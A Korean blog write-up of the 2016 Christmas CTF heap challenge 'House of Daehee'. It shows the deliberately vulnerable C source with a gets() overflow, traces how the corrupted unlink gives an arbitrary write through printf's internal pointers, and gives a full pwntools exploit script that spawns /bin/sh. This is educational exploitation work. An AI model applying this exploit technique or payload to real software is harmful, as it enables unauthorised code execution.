By puing | January 14, 2017
House of Daehee write-up
이번에 풀어볼 문제는 2016년도 Christmas CTF
에 출제되었던 House of daehee
라는 문제입니다.
당시 문제 화면은 아래와 같습니다.
문제 분석
그리고 바이너리 파일과 소스 파일이 주어졌습니다.(+ libc 파일도 함께 제공되었습니다.)
unlink2, unlink2.c
이라는 파일이네요.
u
nlink2.c` 소스 내용은 아래와 같습니다.
// gcc -o unlink2 unlink2.c -fPIC -pie -Wl,-z,now
#include
#include
#include
#include
#include
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
OBJ* A;
OBJ* B;
OBJ* C;
void unlink(OBJ* P){
printf("First, we declare two OBJ pointers, to save the fd/bk of P\n");
OBJ* BK;
OBJ* FD;
printf("P is actually the pointer of B that we made in main() function.\n");
printf("To unlink B, we first need to get pointers of A (bk of B) and C (fd of B)\n");
BK=P->bk;
FD=P->fd;
printf("Remember, FD here is P->fd, which is the pointer of C, inside object B\n");
printf("Also, BK here is P->bk, which is the pointer of A, inside object B\n");
printf("Therefore, we can control both FD and BK :)\n");
printf("This, gives us 'arbitrary memory write' from the following step\n");
// unlinking corrupted object!
FD->bk=BK;
BK->fd=FD;
printf("using this primitive, change a function pointer (hint: GOT) into 'system' address that I gave you\n");
printf("for example, overwrite the free.got into system. then free(P) becomes system(P)!! right?\n");
free(P); // put "/bin/sh" in P and get shell!
}
int main(int argc, char* argv[], char* envp[]){
int i, j;
i=0;
while(argv[i]){
j=0;
while(argv[i][j]) argv[i][j++]=0;
i++;
}
i=0;
while(envp[i]){
j=0;
while(envp[i][j]) envp[i][j++]=0;
i++;
}
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IONBF, 0);
printf("Welcome to house of daehee!\n");
printf("This is simple tutorial to teach you basic heap exploitation technique!\n");
printf("First, lets allocate three objects (A, B, C) that has small buffer and forward/backward pointers\n");
A = (OBJ*)malloc(sizeof(OBJ));
B = (OBJ*)malloc(sizeof(OBJ));
C = (OBJ*)malloc(sizeof(OBJ));
printf("Now, A B C is allocated inside heap (%p, %p, %p) respectively\n", A, B, C);
printf("This time, lets make double-linked list with these objects\n");
// make double linked list: A B C
printf("First, lets set A's forward pointer (A->fd) to point B\n");
A->fd = B;
printf("Now, lets set B's backward pointer (B->bk) to point A\n");
B->bk = A;
printf("At this point, A and B is pointing each other.\n");
printf("Now, lets do the same thing for B and C.\n");
printf("let B->fd point C\n");
B->fd = C;
printf("Now, let C->bk point B\n");
C->bk = B;
printf("Ok, now we have the following object structure: A B C\n");
printf("Assuming that we have memory leak, here is system address: %p. we will use this later to get shell :)\n", system);
printf("Now, lets simulate a BOF vulnerability. Do some calculation and give me proper input to corrupt the B's fd/bk pointer\n");
// heap overflow!
gets(A->buf);
printf("Goodjob. At this point, you have full control over B's forward and backword pointer\n");
printf("Now, lets see what happens while unlinking B with fd/bk pointer of your control\n");
// exploit this unlink!
unlink(B);
// cleanup
free(C);
free(B);
free(A);
printf("Thank you for watching this tutorial. I hope you understand the basics of unlink exploit now :D\n");
getchar();
return 0;
}
친절하게 설명까지 해주셨네요. ㅎㅎ
main 함수에 있는 while 문은 main 함수의 인자와 환경 변수를 초기화해주는 작업을 합니다.
int i, j;
i=0;
while(argv[i]){
j=0;
while(argv[i][j]) argv[i][j++]=0;
i++;
}
i=0;
while(envp[i]){
j=0;
while(envp[i][j]) envp[i][j++]=0;
i++;
}
그리고 malloc 함수를 3번 호출해서 각각 메모리를 할당받습니다.
A = (OBJ*)malloc(sizeof(OBJ));
B = (OBJ*)malloc(sizeof(OBJ));
C = (OBJ*)malloc(sizeof(OBJ));
그리고 그 바로 아래 더블 링크드 리스트를 만들어주는 부분입니다.
// make double linked list: A B C
printf("First, lets set A's forward pointer (A->fd) to point B\n");
A->fd = B;
printf("Now, lets set B's backward pointer (B->bk) to point A\n");
B->bk = A;
printf("At this point, A and B is pointing each other.\n");
printf("Now, lets do the same thing for B and C.\n");
printf("let B->fd point C\n");
B->fd = C;
printf("Now, let C->bk point B\n");
C->bk = B;
OBJ 구조체는 unlink2.c 소스 제일 윗 부분에 정의되어있습니다.
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
구조체의 모습을 보기쉽게 표현하면 아래와 같습니다.
A 구조체의 fd 에 B 주소를 넣고, B 구조체의 bk 에 A 주소를 넣고 B 구조체의 fd 에 C 주소를 넣고 C 구조체의 bk 에 B 주소를 넣어줌으로써 더블 링크드 리스트를 만들어줍니다.
실제로 메모리 내용을 확인해보면, fd 에는 다음 구조체의 주소가, bk 에는 이전 구조체의 주소가 저장되어있습니다.
더블 링크드 리스트를 만들어 준 후, gets 함수를 통해 A->buf 에 입력 값이 저장됩니다.
heap overflow
가 여기서 일어나게 됩니다.
gets(A->buf);
buf 의 크기는 8바이트인데 8 바이트를 넘치게 입력하면 그 만큼 오버플로우가 되겠죠.
이제 우리는 A->buf 위치 이후의 영역에 원하는 값을 써줄 수 있습니다. 그리고 main 함수에서는 gets 함수를 통해 입력을 받은 후, unlink 함수를 호출합니다.
unlink(B);
unlink 함수에서는 아래와 같은 작업을 합니다.
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
...
...
BK=P->bk;
FD=P->fd;
...
...
FD->bk=BK;
BK->fd=FD;
...
...
free(P);
}
P 변수에는 B 구조체의 주소가 들어있습니다.
BK= P->bk 를 통해 b->bk 에 있는 값이 BK 로 들어갑니다.
(b->bk 에는 C 구조체의 주소가 들어있었죠? 이 C 구조체의 주소가 BK 에 들어가게 될 것 입니다.)
그리고 FD = P->fd 를 통해 b->fd 에 있는 값이 FD 로 들어갑니다.
(b->fd 에는 A 구조체의 주소가 들어있었죠? 이 A 구조체의 주소가 FD 에 들어가게 될 것 입니다.)
그리고 BK 와 FD 는 각각 FD->bk, BK->fd 에 들어가게 됩니다.
A 구조체의 주소는 BK->fd 에, C 구조체의 주소는 FD->bk 에 들어가겠죠.
unlink 함수를 통해 A 구조체의 fd 는 C 구조체 주소가 들어가고, C 구조체의 bk 에는 A 구조체 주소가 들어가게됩니다. 그리고 B 구조체는 free 함수를 통해 메모리를 반환하게 됩니다.
- bk 는 해당 구조체 주소의 +8 만큼 떨어진 곳에 있습니다. 따라서 FD->bk 는 FD 주소의 +8 에 위치한 곳이므로 FD 에 C 구조체의 주소가 있다면 0x555555757050 + 8 > - 0x555555757058 이 FD->bk 이고 0x555555757058 주소에 BK 값이 들어가게 되는 것 입니다.
이 unlink 함수를 통해 원하는 곳에 원하는 값을 써 줄수 있습니다.
우리는 heap overflow 를 통해 A 구조체 buf 변수 이후의 값들을 다 덮어 쓸 수 있습니다.
만약 B 구조체의 fd, bk 의 값들을 각각 aaaaaaaa, bbbbbbbb
로 덮으면 어떻게 될까요?
unlink 함수를 통해 0x6161616161616169
에는 0x6262626262626262
값이 써지고,
0x6262626262626262
에는 0x6161616161616161
값이 써지게 됩니다.
원하는 곳에 원하는 값을 써줄 수 있지만 FD->bk = BK, BK->fd = FD
이 부분에서 FD->bk, BK->fd
이 위치에 각각 값을 써주게 되기 때문에 둘 다 쓰기 권한이 있는 주소를 넣어주어야 합니다.
유효한 주소가 아니거나 쓰기 권한이 없는 주소라면 FD->bk = BK 이 부분에서 프로그램이 종료될 것 입니다. ㅠㅠ
unlink2 파일을 실행해보면 각 구조체의 주소와 system 함수의 주소를 미리 알려줍니다. 이 주소를 이용해서 system 함수를 호출해보도록 합시다.
먼저 system 함수를 어디에 써줄지를 찾아봅시다.
GOT 에 쓰려고 봤더니 메모리 보호 기법이 걸려있는 상태라 GOT 영역은 read-only 권한만 가지고 있습니다.
(프로그램을 다시 실행하느라 주소가 달라질 수 있습니다. ㅠㅠ)
쓰기 가능한 주소를 한 번 찾아봅시다.
unlink 함수는 마지막에 printf 함수와 free 함수 호출을 함으로써 끝이납니다.
printf 함수를 한 번 봅시다.
rip+0x3550bc 안에 있는 값을 rdi 레지스터에 넣습니다. 그리고 좀 더 밑으로 가면, rdi 레지스터 값 +0xd8 에 있는 값을 rax 레지스터에 넣고, rax 레지스터 값 +0x38 에 있는 값을 호출하게 됩니다.
rax+0x38
안에 system 주소
를 넣기로 합시다.
rip+0x3550bc
인 0x7ff038553708
는 쓰기 가능한 영역이므로 이 곳에 원하는 값을 쓸 수 있습니다.
PIE 가 걸려있기 때문에 바이너리 영역도 실행할 때마다 주소가 항상 달라집니다. 하지만 system 함수 주소와 주어진 libc 파일을 이용해 offset 을 알아내 이 offset 을 가지고 향후 써주고 싶은 주소의 위치를 알아낼 것 입니다.
우리가 쓰려고하는 주소 0x7ff038553708 은 bass address 로부터 0x3c4708 만큼 떨어져 있습니다.
덮어써야 할 곳들을 쉽게 보면
위와 같습니다. 위와 같이 덮어쓰면 unlink 함수를 통해 0x…48
주소엔 base address + 0x3c4708
이들어가고 base addr + 0x3c4708
이 가리키는 곳엔 aaaaaaaa
가 들어가 있게 됩니다.
그리고 printf 함수가 호출될 때 rdi 레지스터에 0x…40 이 들어가게 될 것입니다. (mov rdi,QWORD PTR [rip+0x3550bc] 이 명령어를 통해 rip+0x3550bc 에 있는 값이 rdi 로 들어가게 되는데 rip+0x3550bc 는 base address + 0x3c4708 이고 여기에 0x…40 을 넣었기 때문에 rdi 엔 0x…40 이 들어가게 되는 것 입니다.)
mov rax,QWORD PTR [rdi+0xd8] 명령어를 통해 0x…40 + 0xd8 에 있는 값이 rax 로 들어가고 call QWORD PTR [rax+0x38] 명령어를 통해 rax+0x38 에 있는 값을 호출합니다. rax 레지스터에 0x…18 을 넣으면 rax+0x38 은 0x…50 이 되고 0x…50 주소안에 system 함수의 주소를 넣으면 결과적으로 system 함수를 호출할 것 입니다.
먼저, 0x…40 + 0xd8 인 0x…118 주소 안에 0x…18 을 넣는다고 가정하면
rdi 레지스터에는 0x..40 이 들어가고 rdi+0xd8 인 0x…118 에 들어있는 0x…18 이 rax 레지스터에 들어갑니다. 그리고 rax+0x38 인 0x…50 안에 있는 system 함수가 호출될 것 입니다.
그런데 이대로하면 제대로 system 함수가 실행되지 않을 것 입니다. 왜냐하면..
printf 함수 처음 부분에 base address + 0x3c4708
안에 있는 내용을 rbp 에 넣어줍니다.
그리고 좀 더 아래에서 rbp+0x88 에 있는 값을 rdx 로 넣어주고 cmp 를 통해 rdx+0x8 이 있는 값과 r8을 비교합니다. base address + 0x3c4708 에는 0x…40 이 들어있습니다. 이 값이 rbp 로 들어가고 rbp + 0x88 인 0x..c8 에 있는 값이 rdx 에 들어가게됩니다. rdx+0x8 에 있는 값과 r8 을 비교하는데 이 때 rdx 가 유효한 주소가 아니라면 이 명령어에서 에러가 날 수 있겠죠?
그리고 그 이후에도
rbp + 0x88 이 곳에 있는 데이터를 사용하거나 그 곳에 써주는 부분들이 있습니다. rdx+0x8, rdx+0x4 이런 곳들이 어떤 주소여야 하는지, 어떤 값들이 있어야 에러가 안날지 알아보는 것보다 애초에 rbp+0x88 에 원래있는 값을 써주는 것이 편할 것 같습니다.
정상적인 흐름대로라면 rbp+0x88
에 있는 값은 0x7f969c82a780
입니다.
(프로그램 실행할 때마다 주소가 바뀝니다. 그래서 base address 도 프로그램 실행할 때마다 계산해줘야 합니다.)
rbp 에는 0x..40 이 들어갈테고 0x…40 + 0x88 인 0x..c8 주소에 0x7f969c82a780 를 넣어주면 될 것입니다.
0x7f969c82a780 은 bass address 와 0x3c5780 만큼 떨어진 곳입니다.
0x…c8
에 bass address + 0x3c5780
을 넣어줍시다.
이렇게 하면 system 함수는 실행될거 같은데.. system 함수의 인자는 어디에 써주면 좋을까요..
간단하게 system 함수를 사용하는 프로그램을 만들어서 디버깅을 해보면 rdi 레지스터에 system 함수의 인자가 있습니다.
rdi 는 아까 base address + 0x3c4708 에 있는 값을 가지고 있습니다.
그래서 rdi 는 0x…40 을 가지고 있는데 이 주소가 system 함수에 인자로 들어가니
0x…40 에 원하는 명령어를 넣어주면 될 것 같습니다.
/bin/sh
을 넣어주도록 합시다.
ex.py
import subprocess
from pwn import *
import struct
binsh = '/bin/sh\x00'
pack = lambda x: struct.pack("<Q",x)
output = process('./unlink2')
output.recvuntil('inside heap (')
#struct address
A_struct_addr = int(output.recvuntil(',')[:-1],16)
output.recvuntil('system address: ')
#system function address
system = int(output.recvuntil('.')[:-1],16)
base_address = system - 0x45380
tmp = base_address + 0x3c4708
tmp2 = base_address + 0x3c5780
payload = ''
payload += '\x00'*16 + pack(A_struct_addr + 0x30) + pack(tmp) + binsh + '\x00'*8 + pack(system) + '\x00'*112 + pack(tmp2) + '\x00'*72 + pack(A_struct_addr + 0x8)
output.stdin.write(payload + '\n')
output.interactive()
위와 같은 식으로 코드를 만들어 실행하면 /bin/sh 을 실행시킬 수 있습니다.